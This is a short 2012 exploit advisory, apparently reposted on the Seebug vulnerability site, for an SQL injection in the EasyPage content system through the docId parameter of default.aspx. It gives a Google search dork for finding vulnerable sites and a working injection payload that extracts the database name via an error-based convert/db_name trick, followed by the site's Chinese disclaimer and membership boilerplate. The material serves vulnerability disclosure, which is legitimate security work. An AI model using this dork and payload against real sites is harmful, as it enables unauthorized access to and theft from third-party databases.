# # Title : EasyPage SQL Injection Vulnerability # Author : Red Security TEAM # Date : 19/01/2012 # Risk : High # Vendor : http://karait.com/ # Tested On : Windows Server 2008 (Microsoft-IIS/7.5) # Dork : inurl:default.aspx?page=Document&app=Documents&docId=* # Contact : Info [ 4t ] RedSecurity [ d0t ] COM # Home : http://RedSecurity.COM # # Exploit : # http://server/default.aspx?page=Document&app=Documents&docId=[SQLi] # # Example : # # [Get Database Name] # http://server/default.aspx?page=Document&app=Documents&docId=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1 #
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论